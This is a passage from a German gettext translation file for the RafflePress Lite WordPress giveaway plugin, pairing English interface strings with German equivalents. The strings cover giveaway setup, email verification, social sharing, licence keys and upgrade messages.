msgstr "Bestätigungs-E-Mail-Nachricht"

#: resources/views/backend-translations.php:320
msgid "When this option is enabled users will receive an email with a link which allows them to confirm their identity. This will also mark the user as confirmed under the Users page."
msgstr "Wenn diese Option aktiviert ist, erhalten die Benutzer eine E-Mail mit einem Link, über den sie ihre Identität bestätigen. Dadurch wird der Benutzer auch auf der Benutzer-Seite als bestätigt markiert."

#: resources/views/backend-translations.php:319
msgid "Contestant Must Confirm Their Email"
msgstr "Der Teilnehmer muss seine E-Mail bestätigen"

#: resources/views/backend-translations.php:318
#: resources/views/backend-translations.php:430
msgid "Email Verification"
msgstr "E-Mail-Verifizierung"

#: resources/views/backend-translations.php:313
msgid ""
"to setup a Page Permalink for your Standalone\n"
"    Landing Page."
msgstr ""
"um einen Seiten-Permalink für deine eigenständige\n"
"     Landing Page einzurichten."

#: resources/views/backend-translations.php:306
msgid ""
"You can copy and share the following link in\n"
"    your social media or add it in your site menu."
msgstr ""
"Du kannst den folgenden Link kopieren und in den sozialen\n"
"     Netzwerken teilen oder im Seiten-Menü einfügen."

#: resources/views/backend-translations.php:305
msgid "Giveaway Landing Page URL"
msgstr "Gewinnspiel Landing-Page-URL"

#: resources/views/backend-translations.php:362
msgid ""
"Contestants will be redirected to the url after completing all\n"
"    entires."
msgstr ""
"Die Teilnehmer werden nach Abschluss aller Eingaben zu\n"
"    dieser URL weitergeleitet."

#: resources/views/backend-translations.php:361
#: resources/views/backend-translations.php:432
msgid "Success Redirect"
msgstr "Erfolgreiche Weiterleitung"

#: resources/views/backend-translations.php:360
msgid "Error. Please contact Support if you continue to experience this issue."
msgstr "Fehler. Bitte wende dich an den Support, wenn dieses Problem weiterhin auftritt."

#: resources/views/backend-translations.php:294
msgid ""
"Search for \"RafflePress\" in block\n"
"    search."
msgstr ""
"Suche nach „RafflePress“ im Block\n"
"     Suche."

#: resources/views/backend-translations.php:293
msgid "Click on the (+) icon on the top left."
msgstr "Klicke oben links auf das (+) Icon."

#: resources/views/backend-translations.php:299
msgid ""
"Click the RafflePress icon to embed in\n"
"    your post or page."
msgstr ""
"Zum Einbetten in deinem Beitrag oder deiner Seite\n"
"      klicke auf das RafflePress-Icon."

#: resources/views/backend-translations.php:292
msgid "WordPress Gutenberg Block Instructions"
msgstr "WordPress Gutenberg Block Anweisungen"

#: resources/views/backend-translations.php:287
msgid ""
"OR you can simply copy / paste this\n"
"    shortcode code in your post content:"
msgstr ""
"ODER kopiere und einfüge den\n"
"     Shortcode-Code in deinen Beitrag ein:"

#: resources/views/backend-translations.php:286
#: resources/views/backend-translations.php:304
msgid "Publish your post or page."
msgstr "Veröffentliche deinen Beitrag oder Seite."

#: resources/views/backend-translations.php:281
msgid ""
"Click the Insert button to insert the\n"
"    shortcode in the post."
msgstr ""
"Klicke auf den Einfügen-Button, um den\n"
"     Shortcode in deinen Beitrag einzufügen."

#: resources/views/backend-translations.php:280
msgid "Select Your Giveaway from the Dropdown."
msgstr "Wähle dein Gewinnspiel aus der Dropdown-Liste."

#: resources/views/backend-translations.php:275
msgid ""
"Click on the RafflePress button at the\n"
"    top."
msgstr "Klicke auf den RafflePress-Button oben."

#: resources/views/backend-translations.php:274
msgid "or edit an existing one."
msgstr "oder bearbeite ein vorhandenes."

#: resources/views/backend-translations.php:264
msgid ""
"Share your distraction-free Giveaway Landing Page\n"
"    that's optimized for maximum conversion and\n"
"    engagement."
msgstr ""
"Teile deine ablenkungsfreie Gewinnspiel-Landing-Page,\n"
"     welche für maximale Conversion und Beteiligung\n"
"     optimiert ist."

#: resources/views/backend-translations.php:263
msgid "Giveaway Landing Page"
msgstr "Gewinnspiel-Landing-Page"

#: resources/views/backend-translations.php:257
msgid ""
"Use the RafflePress shortcode to embed the giveaway\n"
"    in Classic Editor, Sidebar widgets, or inside your\n"
"    WordPress theme."
msgstr ""
"Verwende den RafflePress-Shortcode, um das Gewinnspiel\n"
"     im klassischen Editor, Seitenleisten-Widgets oder in deinem\n"
"     WordPress-Theme einzubetten."

#: resources/views/backend-translations.php:250
msgid ""
"Use the RafflePress Block to embed the giveaway\n"
"    widget in your WordPress post or page (new WordPress\n"
"    block editor)."
msgstr ""
"Verwende den RafflePress-Block, um das Gewinnspiel-Widget\n"
"     in deinem WordPress-Beitrag oder Seite einzubetten (neuer\n"
"     WordPress-Block-Editor)."

#: resources/views/backend-translations.php:249
msgid "RafflePress WordPress Block"
msgstr "RafflePress-WordPress-Block"

#: resources/views/backend-translations.php:244
msgid ""
"You're almost done. To share this giveaway, use one of the\n"
"    publish options below:"
msgstr ""
"Du bist fast fertig. Um dieses Gewinnspiel zu teilen, verwende eine\n"
"     der Veröffentlichungsoptionen:"

#: resources/views/backend-translations.php:243
msgid "Publish Options for"
msgstr "Veröffentlichungsoptionen für"

#: app/functions-utils.php:100 resources/views/backend-translations.php:242
msgid "Visit a YouTube Channel"
msgstr "Besuche einen YouTube-Kanal"

#: app/functions-utils.php:54 resources/views/backend-translations.php:239
msgid "Visit us on Facebook"
msgstr "Besuche uns auf Facebook"

#: app/functions-utils.php:184 resources/views/backend-translations.php:238
msgid "Visit a Page"
msgstr "Besuche eine Seite"

#: resources/views/backend-translations.php:237
msgid "Username"
msgstr "Benutzername"

#: app/functions-utils.php:174 resources/views/backend-translations.php:229
msgid "Tweet a Message"
msgstr "Twittere eine Nachricht ..."

#: resources/views/backend-translations.php:227
msgid "Share Subject"
msgstr "Titel teilen"

#: resources/views/backend-translations.php:226
msgid "Email Share Options"
msgstr "Optionen für E-Mail-Teilen"

#: resources/views/backend-translations.php:225
msgid "LinkedIn Share Options"
msgstr "Optionen für LinkedIn-Teilen"

#: resources/views/backend-translations.php:224
msgid "Pinterest Share Options"
msgstr "Optionen für Pinterest-Teilen"

#: resources/views/backend-translations.php:222
msgid "Current Image Preview"
msgstr "Vorschau des aktuellen Bildes"

#: resources/views/backend-translations.php:221
msgid "Recommended Image Size"
msgstr "Empfohlene Bildgröße"

#: resources/views/backend-translations.php:218
msgid "Facebook Share Options"
msgstr "Optionen für Facebook-Teilen"

#: resources/views/backend-translations.php:217
msgid "Allow users to share with one click on the selected social media platforms."
msgstr "Ermögliche den Benutzern das Teilen mit einem Klick auf den ausgewählten sozialen Netzwerken."

#: resources/views/backend-translations.php:216
msgid "Share On"
msgstr "Teilen auf"

#: resources/views/backend-translations.php:214
msgid "Enter the question you want to ask your users."
msgstr "Gib die Frage ein, die du deinen Benutzern stellen möchtest."

#: app/functions-utils.php:85 resources/views/backend-translations.php:212
msgid "Answer a Question"
msgstr "Beantworte eine Frage"

#: resources/views/backend-translations.php:211
msgid "Pinterest Profile URL"
msgstr "Pinterest Profil URL"

#: app/functions-utils.php:120 resources/views/backend-translations.php:210
#: resources/views/frontend-translations.php:72
msgid "Follow us on Pinterest"
msgstr "Folge uns auf Pinterest"

#: resources/views/backend-translations.php:209
msgid "and enter a valid License Key to use this feature."
msgstr "und gib einen gültigen Lizenzschlüssel ein, um diese Funktion zu nutzen."

#: resources/views/backend-translations.php:206
msgid "Opt-in Confirmation Description"
msgstr "Anmeldebestätigung Beschreibung"

#: app/functions-utils.php:80 resources/views/backend-translations.php:204
msgid "Join an Email Newsletter"
msgstr "Trete einem E-Mail-Newsletter bei"

#: resources/views/backend-translations.php:199
msgid ""
"Explain what information you need to confirm the\n"
"    action:"
msgstr ""
"Erkläre, welche Informationen du benötigst, um diese Aktion \n"
"     zu bestätigen:"

#: app/functions-utils.php:75 resources/views/backend-translations.php:197
msgid "Invent Your Own"
msgstr "Erfinde deine eigenen"

#: app/functions-utils.php:149 resources/views/backend-translations.php:195
msgid "View Instagram Post / Video"
msgstr "Instagram Beitrag oder Video anzeigen"

#: resources/views/backend-translations.php:194
msgid "URL must start with:"
msgstr "URL muss beginnen mit:"

#: resources/views/backend-translations.php:190
msgid "The Daily Entries option will allows users to come back every day to earn entries."
msgstr "Mit der Option „Tägliche Einträge“ können Benutzer jeden Tag zurückkehren, um Punkte zu verdienen."

#: resources/views/backend-translations.php:189
msgid "Allow Daily Entries"
msgstr "Tägliche Einträge zulassen"

#: resources/views/backend-translations.php:186
msgid "The Mandatory option will make the action required before the user can access other actions."
msgstr "Die Obligatorisch-Option macht die Aktion erforderlich, bevor der Benutzer auf andere Aktionen zugreifen kann."

#: resources/views/backend-translations.php:185
msgid "Make Mandatory"
msgstr "Obligatorisch machen"

#: resources/views/backend-translations.php:184
msgid "The Value is how many entries the user will receive for completing the action."
msgstr "Der Wert gibt an, wie viele Punkte der Benutzer für das Ausführen der Aktion erhält."

#: resources/views/backend-translations.php:182
msgid "The Title is what the user will see on the giveaway."
msgstr "Der Benutzer sieht den Titel am Gewinnspiel."

#: resources/views/backend-translations.php:178
msgid "Create Your First Giveaway"
msgstr "Erstelle dein erstes Gewinnspiel"

#: resources/views/backend-translations.php:170
msgid "You currently have the"
msgstr "Du hast derzeit die"

#: resources/views/backend-translations.php:168
msgid "Deactivate Key"
msgstr "Schlüssel deaktivieren"

#: resources/views/backend-translations.php:167
msgid "Verify Key"
msgstr "Schlüssel verifizieren"

#: resources/views/backend-translations.php:166
msgid "Recheck Key"
msgstr "Schlüssel erneut prüfen"

#: resources/views/backend-translations.php:165
msgid "Enter Your License Key Here"
msgstr "Gib hier deinen Lizenzschlüssel ein"

#: resources/views/backend-translations.php:162
msgid "If you already have a license key for"
msgstr "Falls du bereits einen Lizenzschlüssel hast für"

#: resources/views/backend-translations.php:155
msgid "upgrading to PRO"
msgstr "Upgrade auf PRO"

#: resources/views/backend-translations.php:154
msgid "To unlock more features consider"
msgstr "Um weitere Funktionen freizuschalten, überlege das"

#: resources/views/backend-translations.php:149
msgid ""
"You're using <strong>RafflePress Lite</strong> - No\n"
"    License needed. Enjoy!"
msgstr ""
"Du verwendest <strong>RafflePress Lite</strong> - Keine\n"
"     Lizenz erforderlich. Viel Spaß!"

#: resources/views/backend-translations.php:143
#: resources/views/backend-translations.php:483
msgid "Could not be saved. Please contact Support if you continue to experience this issue."
msgstr "Konnte nicht gespeichert werden. Wende dich an den Support, wenn dieses Problem weiterhin auftritt."

#: resources/views/backend-translations.php:139
msgid "Email to Send Notifications To"
msgstr "E-Mail an die Benachrichtigungen gesendet werden sollen"

#: resources/views/backend-translations.php:138
msgid "Receive Weekly Updates"
msgstr "Erhalte wöchentliche Updates"

#: resources/views/backend-translations.php:137
msgid "Receive Daily Updates"
msgstr "Tägliche Updates erhalten"

#: resources/views/backend-translations.php:136
msgid "No Updates"
msgstr "Keine Updates"

#: resources/views/backend-translations.php:130
msgid "Entries Deleted"
msgstr "Einträge gelöscht"

#: resources/views/backend-translations.php:129
msgid "Yes, delete ALL invalid entries!"
msgstr "Ja, ALLE ungültigen Einträge löschen!"

#: resources/views/backend-translations.php:128
msgid "Entries Marked Invalid"
msgstr "Als ungültig gekennzeichnete Einträge"

#: resources/views/backend-translations.php:127
msgid "Entries Marked Valid"
msgstr "Als gültig markierte Einträge"

#: resources/views/backend-translations.php:126
msgid "Worth"
msgstr "Wert"

#: resources/views/backend-translations.php:122
msgid "Mark Selected Invalid"
msgstr "Ausgewählte als ungültig markieren"

#: resources/views/backend-translations.php:121
msgid "Mark Selected Valid"
msgstr "Ausgewählte als gültig markieren"

#: resources/views/backend-translations.php:120
msgid "Back to Users"
msgstr "Zurück zu Benutzer"

#: resources/views/backend-translations.php:119
msgid "Giveaway Duplicated."
msgstr "Gewinnspiel dupliziert."

#: resources/views/backend-translations.php:118
msgid "Giveaways Deleted!"
msgstr "Gewinnspiele gelöscht."

#: resources/views/backend-translations.php:117
msgid "Yes, empty trash!"
msgstr "Ja, Müll leeren!"

#: resources/views/backend-translations.php:116
msgid "Giveaways Restored."
msgstr "Gewinnspiel wiederhergestellt."

#: resources/views/backend-translations.php:115
msgid "Giveaways Moved to Trash."
msgstr "Gewinnspiele in den Papierkorb verschoben."

#: resources/views/backend-translations.php:114
msgid "Giveaway Ended"
msgstr "Gewinnspiel beendet"

#: resources/views/backend-translations.php:113
msgid "Giveaway Started"
msgstr "Gewinnspiel gestartet"

#: resources/views/backend-translations.php:104
msgid "Restore Selected"
msgstr "Ausgewählte wiederherstellen"

#: resources/views/backend-translations.php:103
msgid "Trash Selected"
msgstr "Ausgewählte in den Papierkorb verschieben"

#: resources/views/backend-translations.php:99
msgid "Upcoming"
msgstr "Bevorstehend"

#: resources/views/backend-translations.php:97
msgid "End Now"
msgstr "Jetzt beenden"

#: resources/views/backend-translations.php:93
msgid "Needs Setup"
msgstr "Benötigt Einstellungen"

#: resources/views/backend-translations.php:90
msgid "Giveaways Overview"
msgstr "Gewinnspiel Übersicht"

#: resources/views/backend-translations.php:89
#: resources/views/backend-translations.php:131
msgid "Export Started"
msgstr "Export gestartet"

#: resources/views/backend-translations.php:87
msgid "Yes, delete ALL invalid users!"
msgstr "Ja, ALLE ungültigen Benutzer löschen!"

#: resources/views/backend-translations.php:83
msgid "Users Marked Confirmed"
msgstr "Als bestätigt markierte Benutzer"

#: resources/views/backend-translations.php:85
msgid "Users Marked Invalid"
msgstr "Als ungültig markierte Benutzer"

#: resources/views/backend-translations.php:84
msgid "Users Marked Unconfirmed"
msgstr "Als unbestätigt markierte Benutzer"

#: resources/views/backend-translations.php:82
msgid "No qualfied contestants to draw from."
msgstr "Keine qualifizierten Teilnehmer, aus denen man ziehen kann."

#: resources/views/backend-translations.php:81
msgid "Winners Selected!"
msgstr "Gewinner ausgewählt!"

#: resources/views/backend-translations.php:80
msgid "There was an error sending this email."
msgstr "Beim Senden dieser E-Mail ist ein Fehler aufgetreten."

#: resources/views/backend-translations.php:79
msgid "Confirmation Email Resent!"
msgstr "Bestätigungs-E-Mail erneut gesendet!"

#: resources/views/backend-translations.php:74
#: resources/views/backend-translations.php:123
msgid "Delete All Invalid"
msgstr "Alle ungültigen löschen"

#: resources/views/backend-translations.php:73
msgid "Mark Users as Invalid"
msgstr "Benutzer als ungültig markieren"

#: resources/views/backend-translations.php:72
msgid "Mark Emails as Unverified"
msgstr "E-Mails als nicht bestätigt markieren"

#: resources/views/backend-translations.php:69
msgid "Email Unverified"
msgstr "E-Mail nicht bestätigt"

#: resources/views/backend-translations.php:68
msgid "Email Verified"
msgstr "E-Mail bestätigt"

#: resources/views/backend-translations.php:66
msgid "Invalidate"
msgstr "Ungültig machen"

#: resources/views/backend-translations.php:65
msgid "Mark Email as Verified"
msgstr "E-Mail als bestätigt markieren"

#: resources/views/backend-translations.php:64
msgid "Resend Confirmation Email"
msgstr "Bestätigungs-E-Mail erneut senden"

#: resources/views/backend-translations.php:63
msgid "Show Entries"
msgstr "Einträge anzeigen"

#: resources/views/backend-translations.php:62
msgid "Disqualify Winner"
msgstr "Gewinner disqualifizieren"

#: resources/views/backend-translations.php:61
msgid "Email Winner"
msgstr "E-Mail an Gewinner"

#: resources/views/backend-translations.php:59
msgid "Export Entries"
msgstr "Einträge exportieren"

#: resources/views/backend-translations.php:58
msgid "Export Users"
msgstr "Benutzer exportieren"

#: resources/views/backend-translations.php:57
msgid "Preview Giveaway"
msgstr "Gewinnspiel Vorschau"

#: resources/views/backend-translations.php:56
msgid "Edit This Giveaway"
msgstr "Gewinnspiel bearbeiten"

#: resources/views/backend-translations.php:54
msgid "Select Giveaway"
msgstr "Gewinnspiel auswählen"

#: resources/views/backend-translations.php:52
msgid "Only Verified Emails can win."
msgstr "Nur bestätigte E-Mails können gewinnen."

#: resources/views/backend-translations.php:51
msgid "Unverified Emails allowed to win."
msgstr "Nicht verifizierte E-Mails dürfen gewinnen."

#: resources/views/backend-translations.php:50
msgid "How many winners do you want to pick?"
msgstr "Wie viele Gewinner möchtest du auswählen?"

#: resources/views/backend-translations.php:49
msgid "Winner Selection"
msgstr "Gewinner Auswahl"

#: resources/views/backend-translations.php:48
msgid "Pick Winner"
msgstr "Gewinner auswählen"

#: resources/views/backend-translations.php:46
msgid "In the Giveaway Overview page, the giveaway list will be empty because there are no forms yet. To create a new giveaway, click on the Add New button, and this will launch the RafflePress Giveaway Builder."
msgstr "Die Gewinnspiel-Übersichts-Seite wird leer bleiben, da keine Formulare vorhanden sind. Um ein neues Gewinnspiel zu erstellen, klicke auf den Neu Anlegen Button um den RafflePress-Gewinnspiel-Builder zu starten."

#: resources/views/backend-translations.php:39
msgid "Creating Your First Giveaway"
msgstr "Erstelle dein erstes Gewinnspiel"

#: resources/views/backend-translations.php:6
msgid "Lite vs Pro"
msgstr "Lite vs Pro"

#: resources/views/backend-translations.php:5
msgid "Getting Started"
msgstr "Erste Schritte"

#: resources/views/rafflepress-giveaway.php:769
msgid "Preview All Actions"
msgstr "Vorschau aller Aktionen"

#: resources/views/rafflepress-giveaway.php:59
msgid "No Giveaway Found"
msgstr "Kein Gewinnspiel gefunden"

#: resources/views/backend-translations.php:14
msgid ""
"Over the years, we found that most WordPress giveway plugins\n"
"    were bloated, buggy, slow, and very hard to use. So we\n"
"    started with a simple goal: build a WordPress giveaway\n"
"    plugin that’s both easy and powerful."
msgstr ""
"Im Laufe der Jahre haben wir festgestellt, dass die meisten WordPress-Gewinnspiel-Plugins\n"
"     aufgebläht, fehlerhaft, langsam und sehr schwer zu bedienen sind. Also wir mit\n"
"     einem einfachen Ziel gestartet: die Erstellung eines WordPress-Gewinnspiel-Plugins,\n"
"     das sowohl einfach als auch leistungsstark ist."

#: resources/views/backend-translations.php:7
msgid ""
"Hello and welcome to RafflePress, the most beginner friendly\n"
"    drag & drop WordPress giveway plugin. At RafflePress, we\n"
"    build software that helps you create beautiful responsive\n"
"    online giveaways for your website in minutes."
msgstr ""
"Hallo und herzlich willkommen bei RafflePress, dem anfängerfreundlichen\n"
"     Drag-and-drop WordPress-Gewinnspiel-Plugins. Bei RafflePress erstellen wir\n"
"     Software, mit der du ansprechende und responsive Online-Gewinnspiele\n"
"     für deine Website in wenigen Minuten erstellen kannst."

#: app/giveaway.php:757 app/giveaway.php:772
msgid "Sorry this url already exists. Please choose a new one."
msgstr "Entschuldigung, diese URL existiert bereits. Bitte wähle eine neue aus."

#: resources/views/backend-translations.php:474
msgid "Select a Template"
msgstr "Wähle ein Template aus"

#: resources/views/backend-translations.php:447
msgid "Custom CSS"
msgstr "Individuelles CSS"

#: resources/views/backend-translations.php:172
msgid "Default Timezone"
msgstr "Standard Zeitzone"

#: resources/views/backend-translations.php:417
#: resources/views/backend-translations.php:433
msgid "Social Logins"
msgstr "Mit sozialen Netzwerken anmelden"

#: resources/views/frontend-translations.php:44
msgid "We need this information to contact you if you win"
msgstr "Wir benötigen diese Information, um dich zu kontaktieren, falls du gewinnst"

#: resources/views/frontend-translations.php:64
msgid "Learn how to find the url of the tweet?"
msgstr "Erfahre, wie du die URL deines Tweets findest?"

#: resources/views/frontend-translations.php:83
msgid "entries through referrals."
msgstr "Punkte durch Empfehlungen."

#: resources/views/frontend-translations.php:80
msgid "Unlock bonus entries & boost your chances!"
msgstr "Schalte Bonus-Punkte frei und erhöhe deine Chancen!"

#: resources/views/backend-translations.php:270
msgid "WordPress Shortcode Instuctions"
msgstr "WordPress-Shortcode-Anweisungen"

#: resources/views/backend-translations.php:230
msgid "Enter the message you want your users to Tweet."
msgstr "Gib die Nachricht ein, die deine Benutzer twittern sollen."

#: resources/views/backend-translations.php:191
msgid "Facebook Post or Video URL"
msgstr "Facebook-Beitrags oder Video-URL"

#: app/functions-utils.php:139 resources/views/backend-translations.php:180
msgid "View Facebook Post / Video"
msgstr "Facebook-Beitrag oder Video anzeigen"

#: resources/views/backend-translations.php:173
msgid ""
"Manage integrations with popular providers such as\n"
"    Constant Contact, MailChimp, Zapier, and more."
msgstr "Verwalte Integrationen mit beliebten Anbietern wie Constant Contact, MailChimp, Zapier und mehr."

#: resources/views/backend-translations.php:41
msgid ""
"Our goal is to take the pain out of creating online giveaways\n"
"    and make it easy."
msgstr "Unser Ziel ist es, das Erstellen von Online-Gewinnspielen so einfach wie möglich zu gestalten."

#: resources/views/backend-translations.php:21
msgid ""
"Our goal is to take the pain out of creating online\n"
"    giveaways and make it easy."
msgstr "Unser Ziel ist es, das Erstellen von Online-Gewinnspielen so einfach wie möglich zu machen."

#: resources/views/backend-translations.php:26
msgid ""
"RafflePress is brought to you by the same team that’s behind\n"
"    the largest WordPress resource site,"
msgstr "RafflePress ist von demselben Team, welches auch hinter der größten WordPress-Ressourcen-Website steckt,"

#: resources/views/backend-translations.php:31
msgid ""
"Yup, we know a thing or two about building awesome products\n"
"    that customers love."
msgstr "Ja, wir wissen ein oder zwei Dinge über den Bau großartiger Produkte, welche Kunden lieben."

#: resources/views/backend-translations.php:475
msgid ""
"To speed up the process, you can select from one of our pre-made\n"
"    templates or start with a"
msgstr "Um den Vorgang zu beschleunigen, kannst du eine unserer vorgefertigten Templates für den Start auswählen"

#: resources/views/backend-translations.php:367
msgid ""
"<strong>Note:</strong> If you have a Refer-a-Friend entry this\n"
"    setting will be ignored since Refer-a-Friend is never completed."
msgstr "<strong>Bemerke:</strong> Falls du einen Empfehle-einen-Freund-Eintrag hast, wird diese Einstellung ignoriert, da die Empfehlung eines Freundes niemals abgeschlossen wird."

#: resources/views/backend-translations.php:412
msgid ""
"This is good for retargeting pixels and other script that\n"
"    need to fire after someone enters the giveaway."
msgstr "Das ist gut für Retargeting Pixel und anderen Skripten die ausgelöst  werden sollen, nachdem jemand dem Gewinnspiel betritt."

#: resources/views/backend-translations.php:377
msgid ""
"Please enter the giveaway terms and rules in the Rules field\n"
"    below, or you can use our"
msgstr "Bitte gib die Teilnahmebedingungen in das Feld Regeln ein, oder nutze unser"

#: resources/views/backend-translations.php:384
msgid ""
"<strong>Note:</strong> Our rules template is a generic starting\n"
"    point, and it is your responsibility to make sure that your\n"
"    contest / giveaway is following all local laws regarding\n"
"    Giveaways."
msgstr "<strong>Bemerke:</strong> Unsere Regelvorlage ist ein allgemeiner Ansatz und es liegt in deiner Verantwortung, sicherzustellen, dass dein Wettbewerb / Gewinnspiel alle örtlichen Gesetze befolgt, in Bezug auf Gewinnspiele."

#: resources/views/backend-translations.php:448
msgid ""
"Click <strong>Save</strong> and then\n"
"    <strong>Preview</strong> to see custom css\n"
"    changes."
msgstr "Klicke <strong>Speichern</strong> und dann auf <strong>Vorschau</strong>, um die individuellen CSS-Änderungen anzuzeigen."

#: resources/views/backend-translations.php:354
msgid ""
"and get a 20% commission on all sales generated from your\n"
"    powered by link."
msgstr "und erhalte 20 % Provision auf alle erzielten Verkäufe von deinem „Powered by Link“."

#: resources/views/backend-translations.php:205
msgid "Display Opt-in Confirmation Checkbox"
msgstr "Checkbox für Anmeldebestätigung anzeigen"

#: resources/views/backend-translations.php:231
msgid ""
"Leave Tweet blank to allow the contestant to tweet any\n"
"    message."
msgstr "Lasse das Feld Tweet leer, damit der Teilnehmer eine beliebige Nachricht senden kann."

#: resources/views/backend-translations.php:466
msgid "Add Actions"
msgstr "Aktion hinzufügen"

#: resources/views/backend-translations.php:347
msgid ""
"Enter Your Affiliate URL and Make Money with\n"
"    RafflePress"
msgstr "Gib deine Partner-URL ein und verdiene Geld mit RafflePress"

#: resources/views/frontend-translations.php:48
msgid "Left"
msgstr "Übrig"

#: resources/views/backend-translations.php:60
msgid "Search Emails"
msgstr "E-Mails durchsuchen"

#: resources/views/frontend-translations.php:125
msgid "To get credit for this entry, follow us on Twitch."
msgstr "Um für diesen Eintrag einen Punkt zu erhalten, folge uns auf Twitch."

#: resources/views/backend-translations.php:325
msgid "Template Tags"
msgstr "Template-Schlagwörter"

#: resources/views/backend-translations.php:437
msgid "Fonts"
msgstr "Schriften"

#: resources/views/backend-translations.php:208
msgid "Settings Page"
msgstr "Einstellungsseite"

#: resources/views/backend-translations.php:107
msgid "End Date"
msgstr "Enddatum"

#: resources/views/backend-translations.php:493
#: resources/views/frontend-translations.php:30
msgid "Total Entries"
msgstr "Alle Einträge"

#: resources/views/backend-translations.php:492
#: resources/views/frontend-translations.php:31
msgid "Your Entries"
msgstr "Deine Einträge"

#: resources/views/backend-translations.php:505
#: resources/views/frontend-translations.php:32
msgid "Log In to Enter this Giveaway:"
msgstr "Anmelden um an diesem Gewinnspiel teilzunehmen:"

#: resources/views/frontend-translations.php:34
msgid "Logout"
msgstr "Abmelden"

#: resources/views/frontend-translations.php:33
msgid "Enter"
msgstr "Eintragen"

#: resources/views/backend-translations.php:507
#: resources/views/frontend-translations.php:36
msgid "Ways to Enter"
msgstr "Möglichkeiten teilzunehmen"

#: app/giveaway.php:985
msgid "Starts in"
msgstr "Startet in"

#: app/giveaway.php:207
msgid "Scheduled - Starts in"
msgstr "Geplant - Startet in"

#. Plugin URI of the plugin
#. Author URI of the plugin
msgid "https://www.rafflepress.com"
msgstr "https://www.rafflepress.com"

#. Author of the plugin
#: app/gblock.php:33
msgid "RafflePress"
msgstr "RafflePress"

#: resources/views/frontend-translations.php:35
msgid "Hi"
msgstr "Hi"

#: resources/emails/notification.php:136 resources/emails/notification.php:178
msgid "entries"
msgstr "Einträge"

#: resources/emails/notification.php:189
msgid "Cheers"
msgstr "Viele Grüße"

#: resources/emails/notification.php:132 resources/emails/notification.php:174
msgid "with"
msgstr "mit"

#: resources/emails/notification.php:115 resources/emails/notification.php:157
msgid "new entries"
msgstr "Neue Einträge"

#: resources/emails/notification.php:89
msgid "Hello"
msgstr "Hallo"

#: app/routes.php:152 app/routes.php:153
msgid "Get Pro"
msgstr "Zur Pro-Version"

#: app/routes.php:142 app/routes.php:143
#: resources/views/backend-translations.php:4
msgid "About Us"
msgstr "Über uns"

#: app/routes.php:133 app/routes.php:134
#: resources/views/backend-translations.php:427
msgid "Settings"
msgstr "Einstellungen"

#: app/routes.php:124 app/routes.php:125
#: resources/views/backend-translations.php:91
msgid "Add New"
msgstr "Erstellen"

#: app/license.php:12
msgid "Upgrade PHP"
msgstr "PHP aktualisieren"

#: app/rafflepress.php:168
msgid "Please enter a name."
msgstr "Bitte gib deinen Namen ein."

#: app/rafflepress.php:164
msgid "Please enter a valid email."
msgstr "Bitte gib eine gültige E-Mail-Adresse ein"

#: app/giveaway.php:476
msgid "Copy"
msgstr "Kopieren"

#: app/giveaway.php:231
msgid "Disabled"
msgstr "Deaktiviert"

#: app/classic-editor.php:102
msgid "Cancel"
msgstr "Abbrechen"

#: app/classic-editor.php:41
msgid "Close"
msgstr "Schließen"

#. Plugin Name of the plugin
msgid "RafflePress Lite"
msgstr "RafflePress Lite"

#: resources/views/rafflepress-giveaway.php:207
msgid "This giveaway has ended."
msgstr "Das Gewinnspiel ist zu Ende."

#: resources/views/builder.php:96
msgid "Please click the link below to confirm your email address."
msgstr "Bitte klicke auf den unten stehenden Link, um deine E-Mail-Adresse zu bestätigen."

#: resources/emails/notification.php:134 resources/emails/notification.php:176
msgid "constestants and"
msgstr "Teilnehmer und"

#: resources/emails/notification.php:113 resources/emails/notification.php:155
msgid "new contestants and"
msgstr "neue Teilnehmer und"

#: resources/emails/notification.php:106 resources/emails/notification.php:148
#: resources/views/backend-translations.php:98
msgid "Running"
msgstr "Aktiv"

#: resources/emails/notification.php:98
msgid "Here's is a summary of your Giveaways for the last week."
msgstr "Hier ist eine Zusammenfassung deiner Gewinnspiele für die letzte Woche."

#: resources/emails/notification.php:94
msgid "Here's is a summary of your Giveaways for the last 24 hours."
msgstr "Hier ist eine Zusammenfassung deiner Gewinnspiele für die letzten 24 Stunden."

#: app/gblock.php:78
msgid "RafflePress Giveaway Preview"
msgstr "RafflePress-Gewinnspiel-Vorschau"

#: app/gblock.php:38
msgid "Giveaway"
msgstr "Gewinnspiel"

#: app/gblock.php:37
msgid "Giveaway Settings"
msgstr "Gewinnspiel Einstellungen"

#: app/gblock.php:36
msgid "Select a Giveaway"
msgstr "Wähle ein Gewinnspiel aus"

#: app/gblock.php:35
msgid "giveaway"
msgstr "Gewinnspiel"

#: app/gblock.php:34
msgid "Select and display one of your giveaways"
msgstr "Wähle eines deiner Gewinnspiele aus und zeige es an"

#: app/routes.php:168 app/routes.php:169
msgid "Builder"
msgstr "Builder"

#: app/routes.php:115 app/routes.php:116
msgid "Giveaways"
msgstr "Gewinnspiele"

#: app/contestant.php:355 resources/views/builder.php:100
msgid "[Action Required] Confirm your entry"
msgstr "[Aktion erforderlich] Bestätige deine Eingabe"

#: app/includes/upgrade.php:188
msgid "Pro version installed but needs to be activated from the Plugins page inside your WordPress admin."
msgstr "Die Pro-Version ist installiert, muss aber über die Plugins-Seite in deinem WordPress-Admin aktiviert werden."

#: app/includes/upgrade.php:126 app/includes/upgrade.php:132
#: app/includes/upgrade.php:184
msgid "Plugin installed & activated."
msgstr "Plugin installiert und aktiviert."

#: app/includes/upgrade.php:89
msgid "Could not install upgrade. Please download from rafflepress.com and install manually."
msgstr "Das Upgrade konnte nicht installiert werden. Bitte von rafflepress.com herunterladen und manuell installieren."

#: app/includes/upgrade.php:43
msgid "Pro version is already installed."
msgstr "Die Pro-Version ist bereits installiert."

#: app/includes/upgrade.php:24 app/includes/upgrade.php:164
msgid "You are not licensed."
msgstr "Du bist nicht lizenziert."

#: app/includes/upgrade.php:11
msgid "You are not allowed to install plugins."
msgstr "Du darfst keine Plugins installieren."

#: app/includes/skin.php:82 app/includes/skin53.php:82
msgid "There was an error installing the addon. Please try again."
msgstr "Beim Installieren des Add-ons ist ein Fehler aufgetreten. Bitte versuche es erneut."

#: app/license.php:110
msgid "Invalid License Key."
msgstr "Ungültiger Lizenzschlüssel."

#: app/license.php:12
msgid "The minimum required version of PHP to run this plugin is PHP Version 5.3.3<br>Please contact your hosting company and ask them to upgrade this site's php verison."
msgstr "Die mindestens erforderliche PHP-Version, um dieses Plugin auszuführen, ist PHP-Version 5.3.3.<br>Bitte wende dich an dein Hosting-Unternehmen und bitte es, die PHP-Version dieser Website zu aktualisieren."

#: app/rafflepress.php:244
